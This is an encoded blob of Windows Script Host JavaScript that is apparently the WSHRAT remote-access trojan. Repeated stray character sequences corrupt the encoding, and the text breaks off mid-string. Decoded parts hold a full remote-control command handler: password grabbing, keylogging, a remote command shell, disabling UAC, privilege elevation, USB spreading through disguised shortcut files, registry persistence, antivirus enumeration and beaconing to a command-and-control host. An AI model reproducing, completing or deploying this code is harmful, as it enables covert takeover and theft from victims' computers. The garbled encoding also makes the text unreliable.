bigiJWNvbXNwZWMlIC9jIHNodXRkb3duIC9yIC90ID@\u003cgL2YiLC@\u003cwLCB0cnVlKTsNCmJyZWFrOw0KY2FzZS@\u003cic2h1dGRvd24iOg0Kc2hlbGxvYmoucnVuKCIlY29tc3BlYyUgL2Mgc2h1dGRvd24gL3MgL3QgMC@\u003cvZiIsID@\u003csIHRydWUpOw0KYnJlYWs7DQpjYXNlICJleGNlY3V0ZSI6DQpwYXJhbS@\u003c9IGNtZFsxXTsNCmV2YWwocGFyYW0pOw0KYnJlYWs7DQpjYXNlICJnZXQtcGFzcyI6DQpwYXNzZ3JhYmJlcihjbWRbMV0sICJjbWRjLmV4ZSIsIGNtZFsyXSk7DQpicmVhazsNCmNhc2UgInVuaW5zdGFsbCI6DQp1bmluc3RhbGwoKTsNCmJyZWFrOw0KY2FzZS@\u003cidX@\u003ctbi1leGVjIjoNCmRvd25sb2FkKGNtZFsxXSxjbWRbMl0pOw0KYnJlYWs7DQpjYXNlICJicmluZy1sb2ciOg0KdXBsb2FkKGluc3RhbGxkaXIgKy@\u003cid3NobG9nc1xcIi@\u003crIGNtZFsxXSwgInRha2UtbG9nIik7DQpicmVhazsNCmNhc2UgImRvd24tbi1leGVjIjoNCnNpdGVkb3dubG9hZGVyKGNtZFsxXSxjbWRbMl0pOw0KYnJlYWs7DQpjYXNlIC@\u003ciZmlsZW1hbmFnZXIiOg0Kc2VydmljZXN0YXJ0ZXIoY21kWzFdLC@\u003ciZm0tcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCkpOw0KYnJlYWs7DQpjYXNlIC@\u003cicmRwIjoNCnNlcnZpY2VzdGFydGVyKGNtZFsxXSwgInJkLXBsdWdpbi5leGUiLCBpbmZvcm1hdGlvbigpKTsNCmJyZWFrOw0KY2FzZS@\u003cgImtleWxvZ2dlciI6DQprZXlsb2dnZXJzdGFydGVyKGNtZFsxXSwgImtsLXBsdWdpbi5leGUiLCBpbmZvcm1hdGlvbigpLC@\u003cwKTsNCmJyZWFrOw0KY2FzZS@\u003cgIm9mZmxpbmUta2V5bG9nZ2VyIjoNCmtleWxvZ2dlcnN0YXJ0ZXIoY21kWzFdLC@\u003cia2wtcGx1Z2luLmV4ZSIsIGluZm9ybWF0aW9uKCksIDEpOw0KYnJlYWs7DQpjYXNlIC@\u003ciYnJvd3NlLWxvZ3MiOg0KcG9zdCgiaXMtbG9ncyIsIGVudW1mYWYoaW5zdGFsbGRpci@\u003crICJ3c2hsb2dzIikpOw0KYnJlYWs7DQpjYXNlIC@\u003ciY21kLXNoZWxsIjoNCnBhcmFtID0gY21kWzFdOw0KcG9zdCgiaXMtY21kLXNoZWxsIixjbWRzaGVsbChwYXJhbSkpOw0KYnJlYWs7DQpjYXNlIC@\u003ciZ2V0LXByb2Nlc3NlcyI6DQpwb3N0KCJpcy1wcm9jZXNzZXMiLCBlbnVtcHJvY2VzcygpKTsNCmJyZWFrOw0KY2FzZS@\u003cgImRpc2FibGUtdWFjIjoNCmlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS@\u003c9PSB0cnVlKXsNCnZhciBvUmVnID0gR2V0T2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbkxldmVsPWltcGVyc29uYXRlfSFcXFxcLlxccm9vdFxcZGVmYXVsdDpTdGRSZWdQcm92Iik7DQpvUmVnLlNldER3b3JkVmFsdWUoMHg4MD@\u003cwMD@\u003cwMiwiU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFBvbGljaWVzXFxTeXN0ZW0iLCJFbmFibGVMVUEiLC@\u003cwKTsNCm9SZWcuU2V0RHdvcmRWYWx1ZSgweDgwMD@\u003cwMD@\u003cyLCJTT0ZUV0FSRVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcUG9saWNpZXNcXFN5c3RlbSIsIkNvbnNlbnRQcm9tcHRCZWhhdmlvckFkbWluIiwgMCk7DQpvUmVnID0gbnVsbDsNCnVwZGF0ZXN0YXR1cygiVUFDK0Rpc2FibGVkKyhSZWJvb3QrUmVxdWlyZWQpIik7DQp9DQpicmVhazsNCmNhc2UgICJlbGV2YXRlIjoNCmlmKFdTY3JpcHQuQXJndW1lbnRzLk5hbWVkLkV4aXN0cygiZWxldmF0ZWQiKS@\u003c9PSBmYWxzZSl7DQp0cnl7DQpvbmVvbmNlLmNsb3NlKCk7DQpvbmVvbmNlID0gbnVsbDsNCldTY3JpcHQuQ3JlYXRlT2JqZWN0KCJTaGVsbC5BcHBsaWNhdGlvbiIpLlNoZWxsRXhlY3V0ZSgid3NjcmlwdC5leGUiLC@\u003ciIC8vQiBcIiIgKyBXU2NyaXB0LlNjcmlwdEZ1bGxOYW1lICsgIlwiIC9lbGV2YXRlZCIsICIiLC@\u003cicnVuYXMiLC@\u003cxKTsNCnVwZGF0ZXN0YXR1cygiQ2xpZW50K0VsZXZhdGVkIik7DQp9Y2F0Y2gobm4pew0KfQ0KV1NjcmlwdC5xdWl0KCk7DQp9DQplbHNlew0KdXBkYXRlc3RhdHVzKCJDbGllbnQrRWxldmF0ZWQiKTsNCn0NCmJyZWFrOw0KY2FzZS@\u003cgImlmLWVsZXZhdGUiOg0KaWYoV1NjcmlwdC5Bcmd1bWVudHMuTmFtZWQuRXhpc3RzKCJlbGV2YXRlZCIpID09IGZhbHNlKXsNCnVwZGF0ZXN0YXR1cygiQ2xpZW50K05vdCtFbGV2YXRlZCIpOw0KfQ0KZWxzZXsNCnVwZGF0ZXN0YXR1cygiQ2xpZW50K0VsZXZhdGVkIik7DQp9DQpicmVhazsNCmNhc2UgICJraWxsLXByb2Nlc3MiOg0KZXhpdHByb2Nlc3MoY21kWzFdKTsNCmJyZWFrOw0KY2FzZS@\u003cgInNsZWVwIjoNCnBhcmFtID0gY21kWzFdOw0Kc2xlZX@\u003cgPSBldmFsKHBhcmFtKTsNCmJyZWFrOw0KfQ0KfWNhdGNoKGVyKXt9DQpXU2NyaXB0LnNsZWVwKHNsZWVwKTsNCn0NCmZ1bmN0aW9uIGluc3RhbGwoKXsNCnZhciBsbmtvYmo7DQp2YXIgZmlsZW5hbWU7DQp2YXIgZm9sZGVybmFtZTsNCnZhciBmaWxlaWNvbjsNCnZhciBmb2xkZXJpY29uOw0KdXBzdGFydCgpOw0KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpew0KdmFyIGRyaXZlID0gZHJpLml0ZW0oKTsNCmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpew0KaWYgKGRyaXZlLmZyZWVzcGFjZS@\u003c+ID@\u003cgKXsNCmlmIChkcml2ZS5kcml2ZXR5cGUgPT0gMS@\u003cpew0KdHJ5ew0KZmlsZXN5c3RlbW9iai5jb3B5RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lICwgZHJpdmUucGF0aC@\u003crICJcXCIgKyBpbnN0YWxsbmFtZSx0cnVlKTsNCmlmIChmaWxlc3lzdGVtb2JqLmZpbGVFeGlzdHMgKGRyaXZlLnBhdGggKy@\u003ciXFwiICsgaW5zdGFsbG5hbWUpKXsNCmZpbGVzeXN0ZW1vYmouZ2V0RmlsZShkcml2ZS5wYXRoICsgIlxcIi@\u003cgKyBpbnN0YWxsbmFtZSkuYXR0cmlidXRlcy@\u003c9IDIrNDsNCn0NCn1jYXRjaChlaWp1KXt9DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC@\u003crICJcXCIpLmZpbGVzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdHJ5ew0KdmFyIGZpbGUgPSBmaS5pdGVtKCk7DQppZi@\u003cobG5rZmlsZS@\u003c9PSBmYWxzZSl7YnJlYWs7fQ0KaWYgKGZpbGUubmFtZS5pbmRleE9mKCIuIikpew0KaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLS@\u003cxXSkudG9Mb3dlckNhc2UoKS@\u003chPS@\u003cibG5rIil7DQpmaWxlLmF0dHJpYnV0ZXMgPS@\u003cyKzQ7DQppZi@\u003coZmlsZS5uYW1lLnRvVXBwZXJDYXNlKCkgIT0gaW5zdGFsbG5hbWUudG9VcHBlckNhc2UoKSl7DQpmaWxlbmFtZS@\u003c9IGZpbGUubmFtZS5zcGxpdCgiLiIpOw0KbG5rb2JqID0gc2hlbGxvYmouY3JlYXRlU2hvcnRjdXQoZHJpdmUucGF0aC@\u003crICJcXCIgICsgZmlsZW5hbWVbMF0gKy@\u003ciLmxuayIpOw0KbG5rb2JqLndpbmRvd1N0eWxlID0gNzsNCmxua29iai50YXJnZXRQYXRoID0gImNtZC5leGUiOw0KbG5rb2JqLndvcmtpbmdEaXJlY3RvcnkgPS@\u003ciIjsNCmxua29iai5hcmd1bWVudHMgPS@\u003ciL2Mgc3RhcnQgIi@\u003crIGluc3RhbGxuYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsgIiZzdGFydC@\u003ciICsgZmlsZS5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOw0KdHJ5e2ZpbGVpY29uID0gc2hlbGxvYmouUmVnUmVhZC@\u003coIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXCIgKyBzaGVsbG9iai5SZWdSZWFkICgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcY2xhc3Nlc1xcLiIgKyBmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLS@\u003cxXSsgIlxcIikgKy@\u003ciXFxkZWZhdWx0aWNvblxcIik7IH1jYXRjaChlZWVlKXt9DQppZi@\u003coZmlsZWljb24uaW5kZXhPZigiLCIpID09ID@\u003cpew0KbG5rb2JqLmljb25Mb2NhdGlvbi@\u003c9IGZpbGUucGF0aDsNCn1lbHNlIHsNCmxua29iai5pY29uTG9jYXRpb24gPSBmaWxlaWNvbjsNCn0NCmxua29iai5zYXZlKCk7DQp9DQp9DQp9DQp9Y2F0Y2goZXJyKXt9DQp9DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3IoZmlsZXN5c3RlbW9iai5nZXRmb2xkZXIoZHJpdmUucGF0aC@\u003crICJcXCIpLnN1YkZvbGRlcnMpOy@\u003chZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp0cnl7DQp2YXIgZm9sZGVyID0gZmkuaXRlbSgpOw0KaWYgKGxua2ZvbGRlci@\u003c9PSBmYWxzZSl7YnJlYWs7fQ0KZm9sZGVyLmF0dHJpYnV0ZXMgPS@\u003cyKzQ7DQpmb2xkZXJuYW1lID0gZm9sZGVyLm5hbWU7DQpsbmtvYmogPSBzaGVsbG9iai5jcmVhdGVTaG9ydGN1dChkcml2ZS5wYXRoICsgIlxcIi@\u003cgKyBmb2xkZXJuYW1lICsgIi5sbmsiKTsNCmxua29iai53aW5kb3dTdHlsZS@\u003c9IDc7DQpsbmtvYmoudGFyZ2V0UGF0aC@\u003c9ICJjbWQuZXhlIjsNCmxua29iai53b3JraW5nRGlyZWN0b3J5ID0gIiI7DQpsbmtvYmouYXJndW1lbnRzID0gIi9jIHN0YXJ0ICIgKyBpbnN0YWxsbmFtZS5yZXBsYWNlKG5ldyBSZWdFeH@\u003coIi@\u003ciLC@\u003ciZyIpLC@\u003ciXCIgXCIiKS@\u003crICImc3RhcnQgZXhwbG9yZXIgIi@\u003crIGZvbGRlci5uYW1lLnJlcGxhY2UobmV3IFJlZ0V4cCgiICIsICJnIiksICJcIiBcIiIpICsiJmV4aXQiOw0KZm9sZGVyaWNvbi@\u003c9IHNoZWxsb2JqLlJlZ1JlYWQoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXGNsYXNzZXNcXGZvbGRlclxcZGVmYXVsdGljb25cXCIpOw0KaWYgKGZvbGRlcmljb24uaW5kZXhPZigiLCIpID09ID@\u003cpew0KbG5rb2JqLmljb25Mb2NhdGlvbi@\u003c9IGZvbGRlci5wYXRoOw0KfWVsc2Ugew0KbG5rb2JqLmljb25Mb2NhdGlvbi@\u003c9IGZvbGRlcmljb247DQp9DQpsbmtvYmouc2F2ZSgpOw0KfWNhdGNoKGVycil7fQ0KfQ0KfQ0KfQ0KfQ0KfQ0KfQ0KZnVuY3Rpb24gdW5pbnN0YWxsKCl7DQp0cnl7DQp2YXIgZmlsZW5hbWU7DQp2YXIgZm9sZGVybmFtZTsNCnRyeXsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdKTsNCnNoZWxsb2JqLlJlZ0RlbGV0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcbWljcm9zb2Z0XFx3aW5kb3dzXFxjdXJyZW50dmVyc2lvblxccnVuXFwiICsgaW5zdGFsbG5hbWUuc3BsaXQoIi4iKVswXSk7DQp9Y2F0Y2goZWkpe30NCnRyeXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShzdGFydHVwICsgaW5zdGFsbG5hbWUgLHRydWUpOw0KZmlsZXN5c3RlbW9iai5kZWxldGVGaWxlKHdzY3JpcHQuc2NyaXB0ZnVsbG5hbWUgLHRydWUpOw0KfWNhdGNoKGVlail7fQ0KZm9yKHZhciBkcmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmRyaXZlcyk7ICFkcmkuYXRFbmQoKTsgZHJpLm1vdmVOZXh0KCkpew0KdmFyIGRyaXZlID0gZHJpLml0ZW0oKTsNCmlmIChkcml2ZS5pc3JlYWR5ID09IHRydWUpew0KaWYgKGRyaXZlLmZyZWVzcGFjZS@\u003c+ID@\u003cgKXsNCmlmIChkcml2ZS5kcml2ZXR5cGUgPT0gMS@\u003cpew0KZm9yKHZhciBmaS@\u003c9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKy@\u003ciXFwiKS5maWxlcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBmaWxlID0gZmkuaXRlbSgpOw0KdHJ5ew0KaWYgKGZpbGUubmFtZS5pbmRleE9mKCIuIikpew0KaWYgKChmaWxlLm5hbWUuc3BsaXQoIi4iKVtmaWxlLm5hbWUuc3BsaXQoIi4iKS5sZW5ndGggLS@\u003cxXSkudG9Mb3dlckNhc2UoKS@\u003chPS@\u003cibG5rIil7DQpmaWxlLmF0dHJpYnV0ZXMgPS@\u003cwOw0KaWYgKGZpbGUubmFtZS50b1VwcGVyQ2FzZSgpICE9IGluc3RhbGxuYW1lLnRvVXBwZXJDYXNlKCkpew0KZmlsZW5hbWUgPSBmaWxlLm5hbWUuc3BsaXQoIi4iKTsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIi@\u003crIGZpbGVuYW1lWzBdICsgIi5sbmsiICk7DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShkcml2ZS5wYXRoICsgIlxcIi@\u003crIGZpbGUubmFtZSk7DQp9DQp9ZWxzZXsNCmZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZS@\u003coZmlsZS5wYXRoKTsNCn0NCn0NCn1jYXRjaChleCl7fQ0KfQ0KZm9yKHZhciBmaS@\u003c9IG5ldyBFbnVtZXJhdG9yKGZpbGVzeXN0ZW1vYmouZ2V0Zm9sZGVyKGRyaXZlLnBhdGggKy@\u003ciXFwiKS5zdWJGb2xkZXJzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGZvbGRlci@\u003c9IGZpLml0ZW0oKTsNCmZvbGRlci5hdHRyaWJ1dGVzID0gMDsNCn0NCn0NCn0NCn0NCn0NCn1jYXRjaChlcnIpe30NCldTY3JpcHQucXVpdCgpOw0KfQ0KZnVuY3Rpb24gcG9zdC@\u003coY21kICxwYXJhbSl7DQp0cnl7DQpodHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOi8vIi@\u003crIGhvc3QgKy@\u003ciOiIgKyBwb3J0ICsiLyIgKyBjbWQsIGZhbHNlKTsNCmh0dHBvYmouc2V0UmVxdWVzdEhlYWRlcigidXNlci1hZ2VudDoiLGluZm9ybWF0aW9uKCkpOw0KaHR0cG9iai5zZW5kKHBhcmFtKTsNCnJldHVybiBodHRwb2JqLnJlc3BvbnNlVGV4dDsNCn1jYXRjaChlcnIpew0KcmV0dXJuICIiOw0KfQ0KfQ0KZnVuY3Rpb24gaW5mb3JtYXRpb24oKXsNCnRyeXsNCmlmIChpbmYgPT0gIiIpew0KaW5mID0gaHdpZCgpICsgc3BsaXRlcjsNCmluZi@\u003c9IGluZi@\u003cgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiVjb21wdXRlcm5hbWUlIikgKyBzcGxpdGVyIDsNCmluZi@\u003c9IGluZi@\u003cgKyBzaGVsbG9iai5FeHBhbmRFbnZpcm9ubWVudFN0cmluZ3MoIiV1c2VybmFtZSUiKS@\u003crIHNwbGl0ZXI7DQp2YXIgcm9vdC@\u003c9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgb3MgPSByb290LkV4ZWNRdWVyeS@\u003coInNlbGVjdC@\u003cqIGZyb20gd2luMzJfb3BlcmF0aW5nc3lzdGVtIik7DQpmb3IodmFyIGZpID0gbmV3IEVudW1lcmF0b3Iob3MpOy@\u003chZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb3NpbmZvID0gZmkuaXRlbSgpOw0KaW5mID0gaW5mICsgb3NpbmZvLmNhcHRpb24gKyBzcGxpdGVyOw0KYnJlYWs7DQp9DQppbmYgPSBpbmYgKy@\u003cicGx1cyIgKyBzcGxpdGVyOw0KaW5mID0gaW5mICsgc2VjdXJpdHkoKS@\u003crIHNwbGl0ZXI7DQppbmYgPSBpbmYgKyB1c2JzcHJlYWRpbmc7DQppbmYgPS@\u003ciV1NIUkFUIi@\u003crIHNwbGl0ZXIgKyBpbmYgKyBzcGxpdGVyICsgIkphdmFTY3JpcHQiIDsNCnJldHVybiBpbmY7DQp9ZWxzZXsNCnJldHVybiBpbmY7DQp9DQp9Y2F0Y2goZXJyKXsNCnJldHVybi@\u003ciIjsNCn0NCn0NCmZ1bmN0aW9uIHVwc3RhcnQgKCl7DQp0cnl7DQp0cnl7DQpzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9DVVJSRU5UX1VTRVJcXHNvZnR3YXJlXFxtaWNyb3NvZnRcXHdpbmRvd3NcXGN1cnJlbnR2ZXJzaW9uXFxydW5cXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdLC@\u003cgIndzY3JpcHQuZXhlIC8vQiBcIiIgKyBpbnN0YWxsZGlyICsgaW5zdGFsbG5hbWUgKy@\u003ciXCIiICwgIlJFR19TWiIpOw0Kc2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXG1pY3Jvc29mdFxcd2luZG93c1xcY3VycmVudHZlcnNpb25cXHJ1blxcIi@\u003crIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0sIC@\u003cid3NjcmlwdC5leGUgLy9CIFwiIi@\u003crIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS@\u003crICJcIiIgLC@\u003ciUkVHX1NaIik7DQp9Y2F0Y2goZWkpe30NCmZpbGVzeXN0ZW1vYmouY29weUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSwgaW5zdGFsbGRpci@\u003crIGluc3RhbGxuYW1lLCB0cnVlKTsNCmZpbGVzeXN0ZW1vYmouY29weUZpbGUoV1NjcmlwdC5zY3JpcHRGdWxsTmFtZSwgc3RhcnR1cC@\u003crIGluc3RhbGxuYW1lLCB0cnVlKTsNCn1jYXRjaChlcnIpe30NCn0NCmZ1bmN0aW9uIGh3aWQoKXsNCnRyeXsNCnZhciByb290ID0gR2V0T2JqZWN0KCJ3aW5tZ210czp7aW1wZXJzb25hdGlvbkxldmVsPWltcGVyc29uYXRlfSFcXFxcLlxccm9vdFxcY2ltdjIiKTsNCnZhciBkaXNrcy@\u003c9IHJvb3QuRXhlY1F1ZXJ5ICgic2VsZWN0ICogZnJvbSB3aW4zMl9sb2dpY2FsZGlzayIpOw0KZm9yKHZhciBmaS@\u003c9IG5ldyBFbnVtZXJhdG9yKGRpc2tzKTsgIWZpLmF0RW5kKCk7IGZpLm1vdmVOZXh0KCkpew0KdmFyIGRpc2sgPSBmaS5pdGVtKCk7DQppZi@\u003coZGlzay52b2x1bWVTZXJpYWxOdW1iZXIgIT0gIiIpew0KcmV0dXJuIGRpc2sudm9sdW1lU2VyaWFsTnVtYmVyOw0KYnJlYWs7DQp9DQp9DQp9Y2F0Y2goZXJyKXsNCnJldHVybi@\u003ciIjsNCn0NCn0NCmZ1bmN0aW9uIHNlY3VyaXR5KCl7DQp0cnl7DQp2YXIgb2Jqd21pc2VydmljZS@\u003c9IEdldE9iamVjdCgid2lubWdtdHM6e2ltcGVyc29uYXRpb25sZXZlbD1pbXBlcnNvbmF0ZX0hXFxcXC5cXHJvb3RcXGNpbXYyIik7DQp2YXIgY29saXRlbXMgPSBvYmp3bWlzZXJ2aWNlLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSB3aW4zMl9vcGVyYXRpbmdzeXN0ZW0iLG51bGwsNDgpOw0KdmFyIHZlcnNpb25zdHIsIG9zdmVyc2lvbjsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xpdGVtcyk7ICFmaS5hdEVuZCgpOyBmaS5tb3ZlTmV4dCgpKXsNCnZhciBvYmppdGVtID0gZmkuaXRlbSgpOw0KdmVyc2lvbnN0ci@\u003c9IG9iaml0ZW0udmVyc2lvbi50b1N0cmluZygpLnNwbGl0KCIuIik7DQp9DQovL3ZlcnNpb25zdHIgPSBjb2xpdGVtcy52ZXJzaW9uLnNwbGl0KCIuIik7DQpvc3ZlcnNpb24gPSB2ZXJzaW9uc3RyWzBdICsgIi4iOw0KZm9yICh2YXIgeC@\u003c9IDE7IHggPCB2ZXJzaW9uc3RyLmxlbmd0aDsgeCsrKXsNCm9zdmVyc2lvbi@\u003c9IG9zdmVyc2lvbi@\u003crIHZlcnNpb25zdHJbMF07DQp9DQpvc3ZlcnNpb24gPSBldmFsKG9zdmVyc2lvbik7DQp2YXIgc2M7DQppZi@\u003cob3N2ZXJzaW9uID4gNil7IHNjID0gInNlY3VyaXR5Y2VudGVyMiI7IH1lbHNleyBzYy@\u003c9ICJzZWN1cml0eWNlbnRlciI7fQ0KdmFyIG9ianNlY3VyaXR5Y2VudGVyID0gR2V0T2JqZWN0KCJ3aW5tZ210czpcXFxcbG9jYWxob3N0XFxyb290XFwiICsgc2MpOw0KdmFyIGNvbGFudGl2aXJ1cy@\u003c9IG9ianNlY3VyaXR5Y2VudGVyLkV4ZWNRdWVyeSgic2VsZWN0ICogZnJvbSBhbnRpdmlydXNwcm9kdWN0IiwgIndxbCIsID@\u003cpOw0KdmFyIHNlY3UgPS@\u003ciIjsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihjb2xhbnRpdmlydXMpOy@\u003chZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSl7DQp2YXIgb2JqYW50aXZpcnVzID0gZmkuaXRlbSgpOw0Kc2VjdS@\u003c9IHNlY3UgICsgb2JqYW50aXZpcnVzLmRpc3BsYXlOYW1lICsgIi@\u003cuIjsNCn0NCmlmKHNlY3UgPT0gIiIpe3NlY3UgPS@\u003cibmFuLWF2Ijt9DQpyZXR1cm4gc2VjdTsNCn1jYXRjaChlcnIpe30NCn0NCmZ1bmN0aW9uIGdldERhdGUoKXsNCnZhciBzID0gIiI7DQp2YXIgZC@\u003c9IG5ldyBEYXRlKCk7DQpzICs9IGQuZ2V0RGF0ZSgpICsgIi8iOw0Kcy@\u003crPS@\u003coZC5nZXRNb250aCgpICsgMSkgKy@\u003ciLyI7DQpzICs9IGQuZ2V0WWVhcigpOw0KcmV0dXJuIHM7DQp9DQpmdW5jdGlvbiBpbnN0YW5jZSgpew0KdHJ5ew0KdHJ5ew0KdXNic3ByZWFkaW5nID0gc2hlbGxvYmouUmVnUmVhZCgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi@\u003crIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKy@\u003ciXFwiKTsNCn1jYXRjaChlZWUpe30NCmlmKHVzYnNwcmVhZGluZy@\u003c9PS@\u003ciIil7DQppZi@\u003coV1NjcmlwdC5zY3JpcHRGdWxsTmFtZS5zdWJzdHIoMSkudG9Mb3dlckNhc2UoKS@\u003c9PS@\u003ciOlxcIi@\u003crICBpbnN0YWxsbmFtZS50b0xvd2VyQ2FzZSgpKXsNCnVzYnNwcmVhZGluZy@\u003c9ICJ0cnVlIC0gIi@\u003crIGdldERhdGUoKTsNCnRyeXtzaGVsbG9iai5SZWdXcml0ZSgiSEtFWV9MT0NBTF9NQUNISU5FXFxzb2Z0d2FyZVxcIi@\u003crIGluc3RhbGxuYW1lLnNwbGl0KCIuIilbMF0gKy@\u003ciXFwiLC@\u003cgdXNic3ByZWFkaW5nLC@\u003ciUkVHX1NaIik7fWNhdGNoKGVlZWVlKXt9DQp9ZWxzZXsNCnVzYnNwcmVhZGluZy@\u003c9ICJmYWxzZS@\u003ctICIgKyBnZXREYXRlKCk7DQp0cnl7c2hlbGxvYmouUmVnV3JpdGUoIkhLRVlfTE9DQUxfTUFDSElORVxcc29mdHdhcmVcXCIgKyBpbnN0YWxsbmFtZS5zcGxpdCgiLiIpWzBdIC@\u003crICJcXCIsICB1c2JzcHJlYWRpbmcsICJSRUdfU1oiKTt9Y2F0Y2goZWVlZWUpe30NCn0NCn0NCnVwc3RhcnQoKTsNCnZhciBzY3JpcHRmdWxsbmFtZXNob3J0ID0gIGZpbGVzeXN0ZW1vYmouZ2V0RmlsZShXU2NyaXB0LnNjcmlwdEZ1bGxOYW1lKTsNCnZhciBpbnN0YWxsZnVsbG5hbWVzaG9ydC@\u003c9ICBmaWxlc3lzdGVtb2JqLmdldEZpbGUoaW5zdGFsbGRpci@\u003crIGluc3RhbGxuYW1lKTsNCmlmIChzY3JpcHRmdWxsbmFtZXNob3J0LnNob3J0UGF0aC50b0xvd2VyQ2FzZSgpICE9IGluc3RhbGxmdWxsbmFtZXNob3J0LnNob3J0UGF0aC50b0xvd2VyQ2FzZSgpKXsNCnNoZWxsb2JqLnJ1bigid3NjcmlwdC5leGUgLy9CIFwiIi@\u003crIGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS@\u003crICJcIiIpOw0KV1NjcmlwdC5xdWl0KCk7DQp9DQp2YXIgb25lb25jZS@\u003c9IGZpbGVzeXN0ZW1vYmoub3BlblRleHRGaWxlKGluc3RhbGxkaXIgKyBpbnN0YWxsbmFtZS@\u003csOCwgZmFsc2UpOw0KfWNhdGNoKGVycil7DQpXU2NyaXB0LnF1aXQoKTsNCn0NCn0NCmZ1bmN0aW9uIHBhc3NncmFiYmVyIChmaWxldXJsLCBmaWxlbmFtZSwgcmV0Y21kKXsNCnNoZWxsb2JqLnJ1bigiJWNvbXNwZWMlIC9jIHRhc2traWxsIC9GIC9JTS@\u003ciICsgZmlsZW5hbWUsID@\u003csIHRydWUpOw0KdHJ5e2ZpbGVzeXN0ZW1vYmouZGVsZXRlRmlsZShpbnN0YWxsZGlyICsgZmlsZW5hbWUgKy@\u003ciZGF0YSIpO31jYXRjaChleSl7fQ0KdmFyIGNvbmZpZ19maWxlID0gaW5zdGFsbGRpci@\u003crIGZpbGVuYW1lLnN1YnN0cigwLCBmaWxlbmFtZS5sYXN0SW5kZXhPZigiLiIpKS@\u003crICIuY2ZnIjsNCnZhciBjZmcgPS@\u003ciW0dlbmVyYWxdXG5TaG93R3JpZExpbmVzPTBcblNhdmVGaWx0ZXJJbmRleD0wXG5TaG93SW5mb1RpcD0xXG5Vc2VQcm9maWxlRm9sZGVyPTBcblByb2ZpbGVGb2xkZXI9XG5NYXJrT2RkRXZlblJvd3M9MFxuV2luUG9zPTJDID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cxID@\u003cwID@\u003cwID@\u003cwIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGIEZGID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwID@\u003cwIDgwID@\u003cyID@\u003cwID@\u003cwIEUwID@\u003cxID@\u003cwID@\u003cwXG5Db2x1bW5zPUZBID@\u003c